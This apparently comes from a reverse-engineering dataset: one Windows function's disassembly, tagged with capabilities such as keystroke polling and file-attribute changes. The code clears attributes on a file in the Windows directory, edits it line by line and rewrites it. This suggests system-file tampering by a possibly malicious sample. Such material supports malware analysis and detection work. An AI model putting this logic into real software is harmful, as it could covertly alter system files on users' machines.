Function at 0x10002482
Capabilities:
Get common file path
Get file attributes
Log keystrokes via polling
Set file attributes
Write file on windows

Disassembly:
mov eax, 0x1000916c
call sub.MSVCRT.dll__EH_prolog
push ecx
mov eax, 0x33c8
call fcn.10008eb0
and byte [ebp - 0xd2c], 0
push ebx
push esi
push edi
mov ecx, 0x248
xor eax, eax
lea edi, [ebp - 0xd2a]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
and byte [ebp - 0x14], 0
and byte [ebp - 0x12], 0
and byte [ebp - 0x11], 0
and byte [ebp - 0x13], 0
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], esp
push 0x11
stosw word es:[edi], ax
call ebx
test ax, ax
jge 0x100024db
and byte [0x10015c24], 0
cmp byte [0x10015c24], 0
je 0x10002874
lea eax, [ebp - 0xd2c]
push eax
call fcn.1000470a
and dword [ebp - 4], 0
lea eax, [ebp - 0x408]
mov dword [esp], 0x1f4
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jbe 0x10002874
lea edi, [ebp - 0x51b]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x408]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x408]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [ebp - 0x408]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x12
call ebx
test ax, ax
jge 0x1000256e
mov byte [ebp - 0x12], 1
push 0x72
call fcn.10008467
pop ecx
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [ebp - 0x18], eax
test eax, eax
pop ecx
je 0x10002874
mov edx, dword [ebp + 8]
cmp byte [edx], 0x2d
jne 0x100025c1
or ebx, 0xffffffff
lea edi, [edx + 1]
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x13], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x100025c4
or ebx, 0xffffffff
and byte [ebp - 0x214], 0
and byte [ebp - 0x33d8], 0
mov eax, dword [ebp - 0x18]
test byte [eax + 0xc], 0x10
jne 0x100026b8
push eax
lea eax, [ebp - 0x214]
push 0x1f4
push eax
call dword [sym.imp.MSVCRT.dll_fgets]
add esp, 0xc
test eax, eax
je 0x100026b8
cmp byte [ebp - 0x214], 0xa
je 0x100025d2
cmp byte [ebp - 0x214], 0x23
je 0x100025d2
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x214]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov edx, eax
pop ecx
test edx, edx
pop ecx
je 0x10002684
cmp byte [edx - 1], 0x2e
je 0x10002684
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + edx], 0x2e
je 0x10002684
cmp byte [ebp - 0x13], 1
je 0x10002677
cmp byte [ebp - 0x12], al
jne 0x10002677
lea edi, [ebp - 0x214]
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x33d8]
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x1000267b
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x14], 1
jmp 0x100025d2
lea edi, [ebp - 0x214]
mov ecx, ebx
xor eax, eax
lea edx, [ebp - 0x33d8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x100025d2
cmp byte [ebp - 0x14], 0
jne 0x1000280c
cmp byte [ebp - 0x12], 0
jne 0x1000280c
cmp byte [ebp - 0x13], 0
jne 0x1000280c
lea edi, [ebp - 0x214]
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x100026f3
cmp byte [ebp + ecx - 0x215], 0xa
je 0x10002726
push 0xa
call fcn.10008467
pop ecx
mov edi, eax
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x33d8]
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0xc]
mov ecx, ebx
xor eax, eax
lea edx, [ebp - 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x20
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.10008467
pop ecx
mov edi, eax
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x214]
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x214]
and ecx, 3
push 0xa
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 8]
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.10008467
pop ecx
mov edi, eax
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x214]
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x33d8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x214]
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x11], 1
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push dword [ebp - 0x18]
mov esi, dword [sym.imp.MSVCRT.dll_fclose]
call esi
cmp byte [ebp - 0x11], 1
pop ecx
jne 0x10002874
and byte [ebp - 0x1e], 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x408]
push eax
mov byte [ebp - 0x20], 0x77
mov byte [ebp - 0x1f], 0x2b
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [ebp - 0x18], eax
test eax, eax
pop ecx
je 0x10002874
push eax
lea edi, [ebp - 0x33d8]
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x33d8]
push ecx
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp - 0x18]
call esi
add esp, 0x14
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret